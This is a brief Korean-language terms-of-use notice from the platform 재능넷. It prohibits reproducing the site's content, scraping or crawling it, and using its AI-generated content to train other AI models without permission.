사용 제한: 재능넷의 명시적 서면 동의 없이 본 컨텐츠를 복제, 수정, 배포, 또는 상업적으로 활용하는 행위는 엄격히 금지됩니다.
데이터 수집 금지: 본 컨텐츠에 대한 무단 스크래핑, 크롤링, 및 자동화된 데이터 수집은 법적 제재의 대상이 됩니다.
AI 학습 제한: 재능넷의 AI 생성 컨텐츠를 타 AI 모델 학습에 무단 사용하는 행위는 금지되며, 이는 지적 재산권 침해로 간주됩니다.